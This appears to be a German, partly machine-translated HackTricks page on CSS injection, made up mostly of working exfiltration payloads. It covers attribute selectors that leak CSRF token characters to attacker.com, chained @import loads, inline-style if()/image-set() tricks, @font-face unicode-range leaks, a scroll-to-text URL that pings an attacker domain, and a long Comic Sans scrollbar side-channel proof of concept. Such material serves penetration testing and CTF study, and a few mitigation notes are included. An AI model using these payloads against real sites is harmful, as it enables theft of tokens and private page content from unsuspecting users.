CSS Injection

Reading time: 25 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

CSS Injection

Attribute Selector

CSS-Selektoren werden so konstruiert, dass sie die Werte der name- und value-Attribute eines input-Elements abgleichen. Beginnt das value-Attribut des input-Elements mit einem bestimmten Zeichen, wird eine vordefinierte externe Ressource geladen:

css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

Allerdings stößt dieser Ansatz bei versteckten input-Elementen (type="hidden") an eine Einschränkung, da versteckte Elemente keine Hintergründe laden.

Umgehung für versteckte Elemente

Um diese Einschränkung zu umgehen, kannst du ein nachfolgendes Geschwisterelement mithilfe des ~ general sibling combinator anvisieren. Die CSS-Regel gilt dann für alle Geschwister, die dem versteckten input-Element folgen, wodurch das Hintergrundbild geladen wird:

css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Ein praktisches Beispiel für die Ausnutzung dieser Technik ist im bereitgestellten Code-Snippet beschrieben. Sie können es hier ansehen.

Voraussetzungen für CSS Injection

Für die Wirksamkeit der CSS Injection müssen bestimmte Bedingungen erfüllt sein:

  1. Payload Length: Der CSS Injection-Vektor muss ausreichend lange Payloads unterstützen, um die konstruierten Selektoren aufzunehmen.
  2. CSS Re-evaluation: Sie sollten die Möglichkeit haben, die Seite zu framen (einzubetten), was notwendig ist, um die Neuauswertung von CSS mit neu generierten Payloads auszulösen.
  3. External Resources: Die Technik setzt voraus, dass extern gehostete Bilder verwendet werden können. Dies kann jedoch durch die Content Security Policy (CSP) der Seite eingeschränkt sein.

Blind Attribute Selector

Wie in diesem Beitrag erklärt ist es möglich, die Selektoren :has und :not zu kombinieren, um Inhalte selbst von blinden Elementen zu identifizieren. Dies ist sehr nützlich, wenn Sie keine Ahnung haben, was sich innerhalb der Webseite befindet, die die CSS Injection lädt.
Es ist außerdem möglich, diese Selektoren zu verwenden, um Informationen aus mehreren Blöcken desselben Typs zu extrahieren, wie in:

html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

Kombiniert man dies mit der folgenden @import-Technik, lässt sich eine große Menge an Informationen mittels CSS-Injection aus blinden Seiten mit blind-css-exfiltration.

@import

Die vorherige Technik hat einige Nachteile, prüfe die Voraussetzungen. Entweder musst du in der Lage sein, dem Opfer mehrere Links zu senden, oder du musst die verwundbare Seite per iframe einbetten können.

Es gibt jedoch eine weitere clevere Technik, die CSS @import nutzt, um die Effektivität zu steigern.

Dies wurde zuerst von Pepe Vila gezeigt und funktioniert so:

Anstatt dieselbe Seite immer wieder mit Dutzenden verschiedener payloads zu laden (wie bei der vorherigen Methode), werden wir die Seite nur einmal laden und sie lediglich mit einem import zum attackers server versehen (dies ist der payload, der an das Opfer gesendet werden soll):

css
@import url("//attacker.com:5001/start?");
  1. The import is going to receive some CSS script from the attackers and the browser will load it.
  2. The first part of the CSS script the attacker will send is another @import to the attackers server again.
  3. The attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones.
  4. The second and bigger part of the payload is going to be an attribute selector leakage payload
  5. This will send to the attackers server the first char of the secret and the last one
  6. Once the attackers server has received the first and last char of the secret, it will respond the import requested in the step 2.
  7. The response is going to be exactly the same as the steps 2, 3 and 4, but this time it will try to find the second char of the secret and then penultimate.

Der Angreifer wird folge dieser Schleife, bis es ihm gelingt, das Secret vollständig zu leak.

Du findest den ursprünglichen Pepe Vila's code to exploit this here oder du findest fast den same code but commented here.

tip

Das Script wird versuchen, jedes Mal 2 Zeichen zu entdecken (vom Anfang und vom Ende), weil der attribute selector Dinge wie Folgendes erlaubt:

/* value^=  to match the beggining of the value*/
input[value^="0"] {
 --s0: url(http://localhost:5001/leak?pre=0);
}

/* value$=  to match the ending of the value*/
input[value$="f"] {
 --e0: url(http://localhost:5001/leak?post=f);
}

This allows the script to leak the secret faster.

warning

Manchmal erkennt das Script nicht korrekt, dass das entdeckte Prefix + Suffix bereits der komplette flag ist und es wird weiter vorwärts (im Prefix) und rückwärts (im Suffix) weitermachen und irgendwann hängen bleiben.
Keine Sorge, überprüfe einfach die output, denn du kannst den flag dort sehen.

Inline-Style CSS Exfiltration (attr() + if() + image-set())

Dieses Primitive ermöglicht Exfiltration, indem nur das inline style-Attribut eines Elements verwendet wird, ohne Selektoren oder externe Stylesheets. Es beruht auf CSS custom properties, der attr()-Funktion zum Lesen von Attributen desselben Elements, den neuen CSS if()-Bedingungen für Verzweigungen und image-set(), um eine Netzwerk-Anfrage auszulösen, die den gematchten Wert enkodiert.

warning

Gleichheitsvergleiche in if() erfordern doppelte Anführungszeichen für String-Literale. Einfache Anführungszeichen werden nicht matchen.

  • Sink: Kontrolliere das style-Attribut eines Elements und stelle sicher, dass das Zielattribut am selben Element ist (attr() liest nur Attribute desselben Elements).
  • Read: Kopiere das Attribut in eine CSS-Variable: --val: attr(title).
  • Decide: Wähle eine URL mithilfe verschachtelter Bedingungen, die die Variable mit String-Kandidaten vergleichen: --steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: Wende background: image-set(var(--steal)) (oder jede Eigenschaft, die eine Anfrage auslöst) an, um eine Anfrage an den gewählten Endpunkt zu erzwingen.

Attempt (does not work; single quotes in comparison):

html
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

Funktionierender Payload (doppelte Anführungszeichen für den Vergleich erforderlich):

html
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

Aufzählen von Attributwerten mit verschachtelten Bedingungen:

html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

Realistische Demo (Abfragen von Benutzernamen):

html
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

Hinweise und Einschränkungen:

  • Funktioniert zum Zeitpunkt der Recherche in Chromium-basierten Browsern; das Verhalten kann in anderen Engines abweichen.
  • Am besten geeignet für endliche/aufzählbare Wertebereiche (IDs, flags, kurze Benutzernamen). Das Stehlen beliebig langer Strings ohne externe Stylesheets bleibt schwierig.
  • Jede CSS-Eigenschaft, die eine URL abruft, kann verwendet werden, um die Anfrage auszulösen (z. B. background/image-set, border-image, list-style, cursor, content).

Automation: a Burp Custom Action kann verschachtelte Inline-Style-Payloads generieren, um Attributwerte per Brute-Force zu ermitteln: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

Andere Selektoren

Andere Möglichkeiten, auf Teile des DOM mit CSS selectors zuzugreifen:

  • .class-to-search:nth-child(2): Dies sucht das zweite Element mit der Klasse "class-to-search" im DOM.
  • :empty selector: Wird zum Beispiel in this writeup** verwendet:**
css
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}

Reference: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

Die grundlegende Absicht ist, eine custom font von einem kontrollierten Endpoint zu verwenden und sicherzustellen, dass Text (in diesem Fall 'A') mit dieser Font angezeigt wird, nur wenn die angegebene Ressource (favicon.ico) nicht geladen werden kann.

html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Benutzung einer benutzerdefinierten Schriftart:
  • Eine benutzerdefinierte Schriftart wird mit der @font-face-Regel innerhalb eines <style>-Tags im <head>-Bereich definiert.
  • Die Schriftart heißt poc und wird von einem externen Endpoint (http://attacker.com/?leak) geladen.
  • Die Eigenschaft unicode-range ist auf U+0041 gesetzt und zielt auf das konkrete Unicode-Zeichen 'A'.
  1. -Element mit Fallback-Text:
    • Ein <object>-Element mit id="poc0" wird im <body>-Bereich erstellt. Dieses Element versucht, eine Ressource von http://192.168.0.1/favicon.ico zu laden.
    • Die font-family für dieses Element ist auf 'poc' gesetzt, wie im <style>-Abschnitt definiert.
    • Wenn die Ressource (favicon.ico) nicht geladen werden kann, wird der Fallback-Inhalt (der Buchstabe 'A') innerhalb des <object>-Tags angezeigt.
    • Der Fallback-Inhalt ('A') wird mit der benutzerdefinierten Schriftart poc gerendert, falls die externe Ressource nicht geladen werden kann.

    Styling des Scroll-to-Text-Fragments

    Die :target Pseudo-Klasse wird verwendet, um ein Element auszuwählen, das von einem URL fragment angesprochen wird, wie in der CSS Selectors Level 4 specification angegeben. Wichtig ist zu verstehen, dass ::target-text keine Elemente auswählt, es sei denn, der Text wird durch das Fragment explizit anvisiert.

    Ein Sicherheitsproblem entsteht, wenn Angreifer das Scroll-to-text-Fragment-Feature ausnutzen, wodurch sie durch HTML-Injection das Vorhandensein bestimmten Texts auf einer Webseite bestätigen können, indem sie eine Ressource von ihrem Server laden. Die Methode beinhaltet das Injizieren einer CSS-Regel wie dieser:

    css
    :target::before {
    content: url(target.png);
    }
    

    In solchen Szenarien wird, wenn der Text "Administrator" auf der Seite vorhanden ist, die Ressource target.png vom Server angefordert, was auf das Vorhandensein des Textes hinweist. Ein Beispiel für diesen Angriff kann über eine speziell gestaltete URL ausgeführt werden, die das injizierte CSS zusammen mit einem Scroll-to-text fragment einbettet:

    http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
    

    Hier manipuliert der Angriff HTML injection, um den CSS-Code zu übertragen, und zielt dabei auf den spezifischen Text "Administrator" durch das Scroll-to-text fragment (#:~:text=Administrator). Wenn der Text gefunden wird, wird die angegebene Ressource geladen, wodurch unbeabsichtigt dem Angreifer ihre Anwesenheit signalisiert wird.

    Zur Abmilderung sollten die folgenden Punkte beachtet werden:

    1. Constrained STTF Matching: Scroll-to-text Fragment (STTF) ist so konzipiert, dass es nur Wörter oder Sätze abgleicht, wodurch die Möglichkeit, arbitrary secrets oder tokens zu leak, eingeschränkt ist.
    2. Restriction to Top-level Browsing Contexts: STTF funktioniert ausschließlich in Top-level-Browsing-Kontexten und nicht innerhalb von iframes, wodurch jeder Versuch der Ausnutzung für den Benutzer auffälliger wird.
    3. Necessity of User Activation: STTF erfordert eine user-activation-Geste, um zu funktionieren; das heißt, Exploitations sind nur durch vom Benutzer initiierte Navigationen möglich. Diese Anforderung mildert das Risiko, dass Angriffe automatisiert ohne Benutzerinteraktion ablaufen, erheblich. Dennoch weist der Autor des Blogposts auf bestimmte Bedingungen und bypasses hin (z. B. social engineering, Interaktion mit verbreiteten browser extensions), die die Automatisierung des Angriffs erleichtern könnten.

    Die Kenntnis dieser Mechanismen und potenziellen Schwachstellen ist entscheidend, um die Web-Sicherheit zu erhalten und sich gegen solche exploitative Taktiken zu schützen.

    For more information check the original report: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

    Du kannst einen exploit, der diese Technik in einem CTF verwendet, hier ansehen.

    @font-face / unicode-range

    Du kannst externe Fonts für spezifische Unicode-Werte angeben, die nur dann geladen werden, wenn diese Unicode-Werte auf der Seite vorhanden sind. Zum Beispiel:

    html
    <style>
    @font-face {
    font-family: poc;
    src: url(http://attacker.example.com/?A); /* fetched */
    unicode-range: U+0041;
    }
    @font-face {
    font-family: poc;
    src: url(http://attacker.example.com/?B); /* fetched too */
    unicode-range: U+0042;
    }
    @font-face {
    font-family: poc;
    src: url(http://attacker.example.com/?C); /* not fetched */
    unicode-range: U+0043;
    }
    #sensitive-information {
    font-family: poc;
    }
    </style>
    
    <p id="sensitive-information">AB</p>
    htm
    

    Wenn Sie diese Seite aufrufen, holen Chrome und Firefox "?A" und "?B", weil der Textknoten von sensitive-information die Zeichen "A" und "B" enthält. Chrome und Firefox holen jedoch nicht "?C", weil er kein "C" enthält. Das bedeutet, dass wir "A" und "B" lesen konnten.

    Text node exfiltration (I): ligatures

    Referenz: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

    Die beschriebene Technik besteht darin, Text aus einem Knoten zu extrahieren, indem font ligatures ausgenutzt und Änderungen der Breite überwacht werden. Der Prozess umfasst mehrere Schritte:

    1. Creation of Custom Fonts:
    • SVG fonts werden mit Glyphen erstellt, die ein horiz-adv-x Attribut besitzen, welches eine große Breite für eine Glyphe repräsentiert, die eine Zwei-Zeichen-Sequenz darstellt.
    • Beispiel-SVG-Glyphe: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, wobei "XY" eine Zwei-Zeichen-Sequenz darstellt.
    • Diese Fonts werden dann mit fontforge ins woff-Format konvertiert.
    1. Detection of Width Changes:
    • CSS sorgt dafür, dass Text nicht umbricht (white-space: nowrap) und passt das Scrollbar-Design an.
    • Das Erscheinen einer horizontalen Scrollbar, die anders gestylt ist, dient als Indikator (Oracle), dass eine bestimmte ligature — und damit eine bestimmte Zeichenfolge — im Text vorhanden ist.
    • Das verwendete CSS:
    css
    body {
    white-space: nowrap;
    }
    body::-webkit-scrollbar {
    background: blue;
    }
    body::-webkit-scrollbar:horizontal {
    background: url(http://attacker.com/?leak);
    }
    
    1. Exploit Process:
    • Schritt 1: Fonts werden für Zeichenpaare erstellt, die eine große Breite haben.
    • Schritt 2: Ein Scrollbar-basiertes Trick wird eingesetzt, um zu erkennen, wann die große Breite-Glyphe (ligature für ein Zeichenpaar) gerendert wird — das zeigt das Vorhandensein der Zeichenfolge an.
    • Schritt 3: Sobald eine Ligatur erkannt wird, werden neue Glyphen für Dreizeichen-Sequenzen erzeugt, die das erkannte Paar enthalten und ein vorangestelltes oder nachgestelltes Zeichen hinzufügen.
    • Schritt 4: Die Dreizeichen-Ligatur wird erkannt.
    • Schritt 5: Der Prozess wiederholt sich und deckt so schrittweise den gesamten Text auf.
    1. Optimization:
    • Die derzeitige Initialisierungsmethode mit <meta refresh=... ist nicht optimal.
    • Ein effizienterer Ansatz könnte der CSS @import Trick sein, um die Performance des Exploits zu verbessern.

    Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

    Referenz: PoC using Comic Sans by @Cgvwzq & @Terjanq

    Dieser Trick wurde in diesem Slackers thread veröffentlicht. Das charset, das in einem Textknoten verwendet wird, kann mithilfe der im Browser installierten Default-Fonts geleakt werden: es werden keine externen oder custom Fonts benötigt.

    Das Konzept basiert auf einer Animation, die die Breite eines div schrittweise vergrößert, so dass je ein Zeichen vom 'suffix'-Teil des Textes in den 'prefix'-Teil übergeht. Dieser Prozess teilt den Text effektiv in zwei Bereiche:

    1. Prefix: Die Anfangszeile.
    2. Suffix: Die nachfolgenden Zeile(n).

    Die Übergangsphasen der Zeichen erscheinen folgendermaßen:

    C
    ADB

    CA
    DB

    CAD
    B

    CADB

    Während dieser Transition wird der unicode-range trick eingesetzt, um jedes neue Zeichen zu identifizieren, sobald es dem Prefix beitritt. Dies erfolgt, indem die Schrift auf Comic Sans umgeschaltet wird, die deutlich höher ist als die Default-Schrift und dadurch eine vertikale Scrollbar auslöst. Das Erscheinen dieser Scrollbar gibt indirekt das Vorhandensein eines neuen Zeichens im Prefix preis.

    Obwohl diese Methode das Erkennen einzelner Zeichen beim Erscheinen erlaubt, spezifiziert sie nicht, welches Zeichen wiederholt auftritt — nur, dass eine Wiederholung stattgefunden hat.

    tip

    Im Grunde wird die unicode-range verwendet, um ein char zu erkennen, aber da wir keine externe Schrift laden wollen, müssen wir einen anderen Weg finden.
    Wenn das char gefunden wird, bekommt es die vorinstallierte Comic Sans-Schrift, die das char größer macht und eine scroll bar auslöst, die das gefundene char leakt.

    Überprüfen Sie den aus dem PoC extrahierten Code:

    css
    /* comic sans is high (lol) and causes a vertical overflow */
    @font-face {
    font-family: has_A;
    src: local("Comic Sans MS");
    unicode-range: U+41;
    font-style: monospace;
    }
    @font-face {
    font-family: has_B;
    src: local("Comic Sans MS");
    unicode-range: U+42;
    font-style: monospace;
    }
    @font-face {
    font-family: has_C;
    src: local("Comic Sans MS");
    unicode-range: U+43;
    font-style: monospace;
    }
    @font-face {
    font-family: has_D;
    src: local("Comic Sans MS");
    unicode-range: U+44;
    font-style: monospace;
    }
    @font-face {
    font-family: has_E;
    src: local("Comic Sans MS");
    unicode-range: U+45;
    font-style: monospace;
    }
    @font-face {
    font-family: has_F;
    src: local("Comic Sans MS");
    unicode-range: U+46;
    font-style: monospace;
    }
    @font-face {
    font-family: has_G;
    src: local("Comic Sans MS");
    unicode-range: U+47;
    font-style: monospace;
    }
    @font-face {
    font-family: has_H;
    src: local("Comic Sans MS");
    unicode-range: U+48;
    font-style: monospace;
    }
    @font-face {
    font-family: has_I;
    src: local("Comic Sans MS");
    unicode-range: U+49;
    font-style: monospace;
    }
    @font-face {
    font-family: has_J;
    src: local("Comic Sans MS");
    unicode-range: U+4a;
    font-style: monospace;
    }
    @font-face {
    font-family: has_K;
    src: local("Comic Sans MS");
    unicode-range: U+4b;
    font-style: monospace;
    }
    @font-face {
    font-family: has_L;
    src: local("Comic Sans MS");
    unicode-range: U+4c;
    font-style: monospace;
    }
    @font-face {
    font-family: has_M;
    src: local("Comic Sans MS");
    unicode-range: U+4d;
    font-style: monospace;
    }
    @font-face {
    font-family: has_N;
    src: local("Comic Sans MS");
    unicode-range: U+4e;
    font-style: monospace;
    }
    @font-face {
    font-family: has_O;
    src: local("Comic Sans MS");
    unicode-range: U+4f;
    font-style: monospace;
    }
    @font-face {
    font-family: has_P;
    src: local("Comic Sans MS");
    unicode-range: U+50;
    font-style: monospace;
    }
    @font-face {
    font-family: has_Q;
    src: local("Comic Sans MS");
    unicode-range: U+51;
    font-style: monospace;
    }
    @font-face {
    font-family: has_R;
    src: local("Comic Sans MS");
    unicode-range: U+52;
    font-style: monospace;
    }
    @font-face {
    font-family: has_S;
    src: local("Comic Sans MS");
    unicode-range: U+53;
    font-style: monospace;
    }
    @font-face {
    font-family: has_T;
    src: local("Comic Sans MS");
    unicode-range: U+54;
    font-style: monospace;
    }
    @font-face {
    font-family: has_U;
    src: local("Comic Sans MS");
    unicode-range: U+55;
    font-style: monospace;
    }
    @font-face {
    font-family: has_V;
    src: local("Comic Sans MS");
    unicode-range: U+56;
    font-style: monospace;
    }
    @font-face {
    font-family: has_W;
    src: local("Comic Sans MS");
    unicode-range: U+57;
    font-style: monospace;
    }
    @font-face {
    font-family: has_X;
    src: local("Comic Sans MS");
    unicode-range: U+58;
    font-style: monospace;
    }
    @font-face {
    font-family: has_Y;
    src: local("Comic Sans MS");
    unicode-range: U+59;
    font-style: monospace;
    }
    @font-face {
    font-family: has_Z;
    src: local("Comic Sans MS");
    unicode-range: U+5a;
    font-style: monospace;
    }
    @font-face {
    font-family: has_0;
    src: local("Comic Sans MS");
    unicode-range: U+30;
    font-style: monospace;
    }
    @font-face {
    font-family: has_1;
    src: local("Comic Sans MS");
    unicode-range: U+31;
    font-style: monospace;
    }
    @font-face {
    font-family: has_2;
    src: local("Comic Sans MS");
    unicode-range: U+32;
    font-style: monospace;
    }
    @font-face {
    font-family: has_3;
    src: local("Comic Sans MS");
    unicode-range: U+33;
    font-style: monospace;
    }
    @font-face {
    font-family: has_4;
    src: local("Comic Sans MS");
    unicode-range: U+34;
    font-style: monospace;
    }
    @font-face {
    font-family: has_5;
    src: local("Comic Sans MS");
    unicode-range: U+35;
    font-style: monospace;
    }
    @font-face {
    font-family: has_6;
    src: local("Comic Sans MS");
    unicode-range: U+36;
    font-style: monospace;
    }
    @font-face {
    font-family: has_7;
    src: local("Comic Sans MS");
    unicode-range: U+37;
    font-style: monospace;
    }
    @font-face {
    font-family: has_8;
    src: local("Comic Sans MS");
    unicode-range: U+38;
    font-style: monospace;
    }
    @font-face {
    font-family: has_9;
    src: local("Comic Sans MS");
    unicode-range: U+39;
    font-style: monospace;
    }
    @font-face {
    font-family: rest;
    src: local("Courier New");
    font-style: monospace;
    unicode-range: U+0-10FFFF;
    }
    
    div.leak {
    overflow-y: auto; /* leak channel */
    overflow-x: hidden; /* remove false positives */
    height: 40px; /* comic sans capitals exceed this height */
    font-size: 0px; /* make suffix invisible */
    letter-spacing: 0px; /* separation */
    word-break: break-all; /* small width split words in lines */
    font-family: rest; /* default */
    background: grey; /* default */
    width: 0px; /* initial value */
    animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
    animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
    }
    
    div.leak::first-line {
    font-size: 30px; /* prefix is visible in first line */
    text-transform: uppercase; /* only capital letters leak */
    }
    
    /* iterate over all chars */
    @keyframes trychar {
    0% {
    font-family: rest;
    } /* delay for width change */
    5% {
    font-family: has_A, rest;
    --leak: url(?a);
    }
    6% {
    font-family: rest;
    }
    10% {
    font-family: has_B, rest;
    --leak: url(?b);
    }
    11% {
    font-family: rest;
    }
    15% {
    font-family: has_C, rest;
    --leak: url(?c);
    }
    16% {
    font-family: rest;
    }
    20% {
    font-family: has_D, rest;
    --leak: url(?d);
    }
    21% {
    font-family: rest;
    }
    25% {
    font-family: has_E, rest;
    --leak: url(?e);
    }
    26% {
    font-family: rest;
    }
    30% {
    font-family: has_F, rest;
    --leak: url(?f);
    }
    31% {
    font-family: rest;
    }
    35% {
    font-family: has_G, rest;
    --leak: url(?g);
    }
    36% {
    font-family: rest;
    }
    40% {
    font-family: has_H, rest;
    --leak: url(?h);
    }
    41% {
    font-family: rest;
    }
    45% {
    font-family: has_I, rest;
    --leak: url(?i);
    }
    46% {
    font-family: rest;
    }
    50% {
    font-family: has_J, rest;
    --leak: url(?j);
    }
    51% {
    font-family: rest;
    }
    55% {
    font-family: has_K, rest;
    --leak: url(?k);
    }
    56% {
    font-family: rest;
    }
    60% {
    font-family: has_L, rest;
    --leak: url(?l);
    }
    61% {
    font-family: rest;
    }
    65% {
    font-family: has_M, rest;
    --leak: url(?m);
    }
    66% {
    font-family: rest;
    }
    70% {
    font-family: has_N, rest;
    --leak: url(?n);
    }
    71% {
    font-family: rest;
    }
    75% {
    font-family: has_O, rest;
    --leak: url(?o);
    }
    76% {
    font-family: rest;
    }
    80% {
    font-family: has_P, rest;
    --leak: url(?p);
    }
    81% {
    font-family: rest;
    }
    85% {
    font-family: has_Q, rest;
    --leak: url(?q);
    }
    86% {
    font-family: rest;
    }
    90% {
    font-family: has_R, rest;
    --leak: url(?r);
    }
    91% {
    font-family: rest;
    }
    95% {
    font-family: has_S, rest;
    --leak: url(?s);
    }
    96% {
    font-family: rest;
    }
    }
    
    /* increase width char by char, i.e. add new char to prefix */
    @keyframes loop {
    0% {
    width: 0px;
    }
    1% {
    width: 20px;
    }
    2% {
    width: 40px;
    }
    3% {
    width: 60px;
    }
    4% {
    width: 80px;
    }
    4% {
    width: 100px;
    }
    5% {
    width: 120px;
    }
    6% {
    width: 140px;
    }
    7% {
    width: 0px;
    }
    }
    
    div::-webkit-scrollbar {
    background: blue;
    }
    
    /* side-channel */
    div::-webkit-scrollbar:vertical {
    background: blue var(--leak);
    }
    

    Text node exfiltration (III): leaking the charset mit einer Standard-Schriftart durch Verstecken von Elementen (keine externen Assets erforderlich)

    Referenz: Dies wird als an unsuccessful solution in this writeup erwähnt

    Dieser Fall ist dem vorherigen sehr ähnlich, allerdings ist hier das Ziel, bestimmte chars größer als andere zu machen, um etwas zu verbergen — wie z. B. einen Button, damit er vom Bot nicht gedrückt wird, oder ein Bild, das nicht geladen wird. Dadurch könnten wir die Aktion (oder das Ausbleiben der Aktion) messen und feststellen, ob ein bestimmter char im Text vorhanden ist.

    Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)

    Referenz: Dies wird als an unsuccessful solution in this writeup erwähnt

    In diesem Fall könnten wir versuchen, ein leak zu verursachen, um herauszufinden, ob ein char im Text vorhanden ist, indem wir eine gefälschte Schriftart vom selben Origin laden:

    css
    @font-face {
    font-family: "A1";
    src: url(/static/bootstrap.min.css?q=1);
    unicode-range: U+0041;
    }
    

    If there is a match, the font will be loaded from /static/bootstrap.min.css?q=1. Although it won’t load successfully, the browser should cache it, and even if there is no cache, there is a 304 not modified mechanism, so the response should be faster than other things.

    However, if the time difference of the cached response from the non-cached one isn't big enough, this won't be useful. For example, the author mentioned: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the disk-cache-size=1 flag, which is really thoughtful.

    Text node exfiltration (III): leaking the charset durch zeitliche Messung des Ladens von hunderten lokalen "fonts" (ohne externe Assets)

    Referenz: This is mentioned as an unsuccessful solution in this writeup

    In diesem Fall kannst du CSS verwenden, um hunderte gefälschte Fonts aus derselben Origin zu laden, wenn eine Übereinstimmung auftritt. Auf diese Weise kannst du die Zeit messen, die benötigt wird, und herausfinden, ob ein Zeichen erscheint oder nicht, mit etwas wie:

    css
    @font-face {
    font-family: "A1";
    src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
    .... url(/static/bootstrap.min.css?q=500);
    unicode-range: U+0041;
    }
    

    Und der Code des Bots sieht so aus:

    python
    browser.get(url)
    WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
    time.sleep(30)
    

    Wenn die Schriftart nicht übereinstimmt, wird die Antwortzeit beim Aufrufen des Bot voraussichtlich etwa 30 Sekunden betragen. Wenn jedoch eine Schriftart übereinstimmt, werden mehrere Anfragen gesendet, um die Schriftart abzurufen, wodurch das Netzwerk kontinuierlich aktiv bleibt. Infolgedessen dauert es länger, die Stop-Bedingung zu erfüllen und eine Antwort zu erhalten. Daher kann die Antwortzeit als Indikator dafür verwendet werden, ob eine Schriftart übereinstimmt.

    References

    tip

    Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
    Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

    Unterstützen Sie HackTricks